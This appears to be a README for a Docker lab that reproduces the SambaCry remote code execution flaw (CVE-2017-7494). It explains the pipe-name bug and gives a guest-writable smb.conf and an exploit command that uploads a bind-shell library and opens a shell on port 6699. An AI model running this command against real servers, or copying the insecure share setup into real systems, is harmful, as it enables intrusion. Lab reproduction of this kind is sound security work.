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+# Samba Authenticated RCE (CVE-2017-7494, Aka SambaCry)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Samba is the standard Windows interoperability suite of programs for Linux and Unix, it provides secure, stable and fast file and print services for all clients using the SMB/CIFS protocol.
+
+Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4 that is vulnerable to a remote code execution vulnerability named **SambaCry**. CVE-2017–7494 allows remote authenticated users to upload a shared library to a writable shared folder, and perform code execution attacks to take control of servers that host vulnerable Samba services.
+
+## Environment Setup
+
+Execute following commands to start a Samba server 4.6.3:
+
+```
+docker compose up -d
+```
+
+## Principle
+
+Reference to [SambaCry RCE Exploit](https://medium.com/@lucideus/sambacry-rce-exploit-lucideus-research-3a3e5bd9e17c):
+
+> Microsoft Remote Procedure Call (RPC) is a powerful technology for creating distributed client/server programs. RPC is an interprocess communication technique that allows client and server software to communicate.
+>
+> MSRPC protocol allows to connect to a named pipe from remote destination. When trying to open a pipe using MSRPC on Samba, the server verifies the validity of the pipe name using the internal function `is_known_pipename()`.
+>
+> An external RPC server can be set using the 'rpc_server' variable inside smb.conf and then it will handle the pipe request.
+>
+> The function `is_known_pipename()` doesn’t check that the pipe is valid, this allows to use '/' to insert a full path of an arbitrary library.
+
+The exploitation requirements:
+
+- An anonymous writeable server or an authenticated Samba account
+- A known path of the writeable sharing directory
+
+See also:
+
+ - https://medium.com/@lucideus/sambacry-rce-exploit-lucideus-research-3a3e5bd9e17c
+ - https://github.com/opsxcq/exploit-CVE-2017-7494
+ - http://bobao.360.cn/learning/detail/3900.html
+
+## Exploit
+
+Samba config ( you can find [here](smb.conf) ) of our target server:
+
+```
+[global]
+    map to guest = Bad User
+    server string = Samba Server Version %v
+    guest account = nobody
+
+[myshare]
+    path = /home/share
+    read only = no
+    guest ok = yes
+    guest only = yes
+```
+
+Use `smbclient` to test connecting:
+
+```
+smbclient //your-ip/myshare -N
+```
+
+![](02.png)
+
+If you got connection error, please check your network, especially port 445.
+
+Using <https://github.com/opsxcq/exploit-CVE-2017-7494> to exploit the server:
+
+```
+./exploit.py -t your-ip -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699
+```
+
+Successful execute commands:
+
+![](01.png)
+
+Please note that, metasploit's `exploit/linux/samba/is_known_pipename` is tested failed since XX(I don't know) version, and I am really sure that it works on Jun 2017.